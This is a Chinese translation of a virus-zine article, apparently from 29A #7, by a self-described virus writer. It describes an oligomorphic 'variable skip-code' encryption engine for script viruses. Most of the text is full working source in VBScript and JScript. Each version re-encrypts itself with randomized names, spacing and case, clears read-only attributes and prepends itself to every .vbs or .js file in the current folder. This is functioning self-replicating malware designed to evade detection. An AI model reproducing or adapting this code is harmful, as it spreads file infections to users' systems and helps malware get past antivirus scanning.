信息来源:29A#7
文章翻译:穿透/cvc翻译小组
作者简介:
前DOS/Win16平台下病毒编写者,若干病毒系列如Ginger(参看杂志Coderz #1中一场恐怖虫灾的实例,不过如果你有更好的代码请联系我)和95年9月的病毒公报上被称为彩虹的病毒的始创者。世界上第一个使用循环区域欺骗(Orsam, 1993年完成代码原型) 技术的病毒的合著者。
设计了世界上第一个XMS 交换病毒。 (约翰?高尔特, 1995年RT Fishel编写的,只有30个字节残留,剩下的已被换出)。
世界上第一个把线程本地存储用于复制病毒 (Shrug, 据02年6月病毒公报的描述, 又被称之为Chiton) 的作者
设计了世界上首个使用Visual.basic 5/6 语言扩展(OU812)来进行复制的病毒,完成了世界第一个本地可执行病毒(Chthon)。
世界第一个使用进程协作防止进程终止技术的病毒(参见02年11月病毒公报的有关报道)
世界第一个病毒使用多形SMTP头(Junkmail, 参见02年11月病毒公报的有关报道)。
世界第一个能把任意数据文件转换成可传染目标的病毒 。
以及各种各样的变性病毒文章的作者(参见Vlad #7中使您的代码对TBScan不可见的句子)。
虽然已经偷闲了好多年,但是庆幸的是我现在又开始工作了。
为什么不?
当我们讨论加密宏病毒数量时, 会很惊讶并没有那么多的加密脚本病毒。对这个问题我没有更好的解释, 无论如何,这里我为加密VBScript 和JScript 文件提出一个简单的引擎。这个引擎使用一个带有oligomorphic解码器的易变跳跃码加密。这个加密器支持可变空间,随机变量名,随机变量形成,随机事件关键字(仅限VBScript),以及有常数包位数的可变跳跃码,并能在递归中使用。
怎么做?
写自加密脚本的难处在于解密原码本身就是被再加密的,问题就是如何解密源代码, 这里有两种选择: 第一在运行时侯重建源代码,但这不是总那么容易的并且我们需要简单的引擎。 第二, 解密加密后的源代码, 但是只有在结构还不牢固(容易发现和容易分析)的时候这种方法是容易的。 我们在这里使用的就是第二个选择。
跳跃代码(定常)
定常跳跃代码的加密是简单的,在一个串中我们为每第n个字符加上记号,n就是代码的跳跃值。在一个简单串中n=1,所以在串中每个字符都是一个记号。加密就是增加n的值,然后用随机值填写没有用过的记号。
首先,n=1
这是我们的串
然后 n=2, 没有使用过的记号设置在这里。
!t!h!i!s! !i!s! !o!u!r! !s!t!r!i!n!g
在VBScript中用以下代码实现:
for i = n to len(s) step n
d = d + mid(s, i, 1)
next
或者 JScript 代码如下:
d = ""
for (i = n - 1; i < s.length; i += n)
d = d + s.charAt(i)
跳跃码(可变的)
可变跳跃码的加密也是这样的,在一个串中每隔n个字节就是一个记号。但是这里对每个不同的记号可以取不同的n值。这是通过存储包中能整除n值的字符来实行的,包的大小p可以是常量或变量,比如这里有一个大小为3的常量包,每个包中n为第一个字符。看起来像这样
1t!2!h1i!2!s1 !2!i1s!2! 1o!2!u1r!2! 1s!2!t1r!2!i1n!2!g
在这个例子中,n的值在1和2之间变化。在VBScript中用以下代码实现。
for i = 1 to len(s) step p
d = d + mid(s, i + mid(s, i, 1), 1)
next
同样如下JScript 代码:
d = ""
for (i = 0; i < s.length; i += p)
d = d + s.charAt(i + (s.charAt(i) & 15))
同样的结果中"charAt(i) & 15"比 "charCodeAt(i) - 48"字节数更少。
可变包大小仍然可以用在包中存储包的大小来实行,每个包都以包大小p为第一个字符,n为第二个字符。
看起来像这样:
32t!22h33!i22s32 !22i33!s22 32o!22u33!r22 32s!22t33!r22i32n!22g
在这个例子中
p和n的值在2和3之间变化。如下的VBScript代码中实现了这个方法。
for i = 1 to len(s)
d = d + mid(s, i + mid(s, i + 1, 1), 1)
i = i + mid(s, i, 1)
next
同样如下JScript 代码:
d = ""
for (i = 0; i < s.length; i++)
{
d = d + s.charAt(i + (s.charAt(i + 1) & 15))
i = i + (s.charAt(i) & 15)
}
p的值(在中间的(s,i,1))是1小于包的实际大小,因为for循环会自动增加i的值。然后:
无论加密有多棒,薄弱的环节是解密。如果解密器非常的复杂,或者某种意义上来说无可取代,那么没有人会陷入加密过的代码中很简单的研究出解密器本身。在脚本的世界里加密容易,使用很简单的解密器却是一种冒险。因为毫无损失的那个看起来就象我们一样。而且,解码器是可以分层的,然后解码需要很长的时间,而且只有第一层是可变的。
让我们来看看这些代码,只需要WSH v3+因为没有用到新的特性。首先是VBScript dim loff,newl
set fso=createobject("scripting.filesystemobject")
set file=fso.opentextfile(wscript.scriptfullname)
bann=file.readline
oldl=file.readline
file.close
randomize
dospc 1
rcase 8
v1=nvar
outch"("
v2=nvar
outch")" 'function aaaaa(bbbbb)
outch":"
rcase 3
v3=nvar
outch"="
outch"1"
rcase 2
rcase 3
outch"("
outv v2
outch")"
rcase 4
v5=mid(oldl,loff,1) 'old packet size
v6=int(rnd*7)+2 'new data size: 2-8
'if you do not use ! character, then line can be
'v6=int(rnd*7)+2 '1-8
outch cstr(v6+1) 'for ccccc=1 to len(bbbbb) step x
outch":"
v4=nvar
outch"="
rcase 4
outch"("
rcase 3
outch"("
outv v2
outch","
outv v3
outch","
outch"1"
outch")"
outch")" 'ddddd=cint(mid(bbbbb,ccccc,1))
outch":"
outv v1
outch"="
outv v1
outch"+"
rcase 3
outch"("
rcase 3
outch"("
rcase 3
outch"("
outv v2
outch","
outv v3
outch"+"
outv v4
outch","
outch"1"
outch")"
outch")"
outch"-"
outv v4
outch")" 'aaaaa=aaaaa+chr(asc(mid(bbbbb,ccccc+ddddd,1))-ddddd)
outch":"
rcase 4 'next
outch":"
rcase 3
rcase 8 'end function
outch":"
rcase 7
outch"("
outv v1
outch"("
outch chr(34)
cb=instr(mid(oldl,loff),chr(34))
for loff=loff to loff+cb-v5 step v5
oldkey=cint(mid(oldl,loff,1))
do
nkey=int(rnd*v6)+1
c=asc(mid(oldl,loff+oldkey,1))-oldkey+nkey
loop while c=34or c>127 'no " or 8-bit chars
newl=newl+cstr(nkey)
for kl=2to nkey
newl=newl+rchar
next
newl=newl+chr(c)
for kl=kl to v6
newl=newl+rchar
next
next
outch chr(34)
outch")"
outch")" 'execute(aaaaa("encrypted code"))
set dir=fso.getfolder(".") 'demo version, current directory only
for each item in dir.files
if lcase(fso.getextensionname(item))="vbs"then
err=0
set inf=fso.opentextfile(item,1) 'open potential victim
if err.number=0then
fst=inf.read(1) 'read first character
if fst<>"'"then 'check for infection marker
rest=inf.readall 'read entire file
attr=item.attributes 'save attributes
item.attributes=0 'remove any read-only attribute
err=0
set outf=fso.opentextfile(item,2) 'open file for writing
if err.number=0then
outf.writeline(bann) 'prepend banner
outf.writeline(newl) 'prepend code
outf.write(fst+rest) 'append first character and host
outf.close 'close file (write mode)
end if
item.attributes=attr 'restore attributes
end if
inf.close 'close file (read mode)
end if
end if
next
sub dospc(curoff) 'replace space with random number of spaces
if mid(oldl,curoff,1)=" "then
newl=newl+space(rnd*5+1)
while mid(oldl,curoff,1)=" "
curoff=curoff+1
wend
end if
loff=curoff
end sub
sub rcase(lineend) 'random case switch on keywords
for cb=loff to loff+lineend-1
newl=newl+chr(asc(mid(oldl,cb,1))xor(int(rnd*2)*32))
next
dospc loff+lineend
end sub
function rchar 'random case letter
rchar=chr(int(rnd*26)+65+int(rnd*2)*32)
end function
sub outv(tvar) 'variable followed by random number of spaces
newl=newl+tvar
dospc loff+instr(mid(oldl,loff)," ")-1
end sub
function nvar 'random sequence of random case letters
while tv=v1 or tv=v2 or tv=v3 or tv=v4
tv=""
for cb=1to rnd*5+5 '5-9 characters
tv=tv+rchar
next
wend
outv tv
nvar=tv
end function
sub outch(ch) 'character followed by random number of spaces
newl=newl+ch
dospc loff+1
end sub
Now is JScript version.
//Conscrypt - roy g biv 01/02/03
fso=new ActiveXObject("scripting.filesystemobject")
with(inf=fso.opentextfile(WScript.scriptfullname))
{
bann=readline()
oldl=readline()
close()
}
Math.random(1)
newl=""
dospc(0)
outv("function")
var v1=nvar(),v2,v3,v4,v5
outch("(")
v2=nvar()
outch(")") //function aaaaa(bbbbb)
outch("{ ")
v3=nvar()
outch("=")
outv("\"\"") //ccccc=""
outch(";")
outv("for")
outch("(")
v4=nvar()
outch("=")
outch("0")
outch(";")
outv(v4)
outch("<")
outv(v2)
outch(".")
outv("length")
outch(";")
outv(v4)
outv("+=")
v6=oldl.charAt(loff) //old packet size
v7=(Math.random()*7+2)&15 //new data size: 2-8
//if you do not use ! character, then line can be
//v7=(Math.random()*8+1)&15 //1-8
outch(v7+1)
outch(")") //for(ddddd=0;ddddd<bbbbb.length;ddddd+=x)
outch("{ ")
v5=nvar()
outch("=")
outv(v2)
outch(".")
outv("charAt")
outch("(")
outv(v4)
outch(")")
outch("&")
outv("15") //eeeee=bbbbb.charAt(ddddd)&15
outch(";")
outv(v3)
outv("+=")
outv("String")
outch(".")
outv("fromCharCode")
outch("(")
outv(v2)
outch(".")
outv("charCodeAt")
outch("(")
outv(v4)
outch("+")
outv(v5)
outch(")")
outch("-")
outv(v5)
outch(")") //ccccc+=String.fromCharCode(bbbbb.charCodeAt(ddddd+eeeee)-eeeee)
outch(" }")
outv("return")
outv(v3) //return ccccc
outch(" }")
outv("eval")
outch("(")
outv(v1)
outch("(")
outch('"')
for(ss=loff+oldl.substr(loff).search(/"/);loff<ss;loff+=v6&15)
{
oldk=oldl.charAt(loff)&15
do
{
nkey=(Math.random()*v7+1)&15
cca=oldl.charCodeAt(loff+oldk)-oldk+nkey
}
while(cca==34||cca==92||cca>127) //no " or \ or 8-bit chars
newl+=nkey
kl=0
while(++kl<nkey)
newl+=rchar()
newl+=String.fromCharCode(cca)
while(kl++<v7)
newl+=rchar()
}
outch('"')
outch(")")
outch(")") //eval(aaaaa("encrypted code"))
for(enu=new Enumerator(fso.getfolder(".").files);!enu.atEnd();enu.moveNext())
//demo version, current directory only
if(fso.getextensionname(item=enu.item()).toLowerCase()=="js")
try
{
with(inf=fso.opentextfile(item,1)) //open potential victim
{
fst=read(1) //read first character, keep for later
if(fst!="/") //check for infection marker
try
{
rest=readall() //read entire file
attr=item.attributes //save attributes
item.attributes=0 //remove any read-only attribute
with(outf=fso.opentextfile(item,2)) //open file for writing
{
writeline(bann) //prepend banner
writeline(newl) //prepend code
write(fst+rest) //append first character and host
close() //close file (write mode)
}
item.attributes=attr //restore attributes
}
catch(z)
{
}
close() //close file (read mode)
}
}
catch(z)
{
}
function dospc(coff) //replace space with random number of spaces
{
if(oldl.charAt(coff)==" ")
{
cb=0
while(cb++<=Math.random()*5)
newl+=" "
while(oldl.charAt(coff)==" ")
++coff
}
loff=coff
}
/* JScript is case-sensitive so this function is not used
function rcase(lend) //random case switch on keywords
{
for(cb=loff;cb<loff+lend;cb++)
newl+=String.fromCharCode(oldl.charCodeAt(cb)^(Math.round(Math.random())*32))
dospc(loff+lend)
}
*/
function rchar() //random case letter
{
with(Math)return String.fromCharCode(random()*26+65+round(random())*32)
}
function outv(tvar) //variable or keyword followed by random number of spaces
{
newl+=tvar
dospc(loff+oldl.substr(loff).search(/ /))
}
function nvar() //random sequence of random case letters
{
do
{
tv=""
cb=0
while(++cb<Math.random()*5+6) //5-9 characters
tv+=rchar()
}
while(tv==v1||tv==v2||tv==v3||tv==v4||tv==v5)
outv(tv)
return tv
}
function outch(ch) //character followed by random number of spaces
{
newl+=ch
dospc(loff+1)
}
感谢以下的朋友 (A-Z):
Active - Benny - Obleak - Prototype - Ratter - Ronin - RT Fishel -
The Gingerbread Man - Ultras - Vecna - VirusBuster - Whitehead
rgb/2003年2月29日上午
iam_rgb@hotmail.com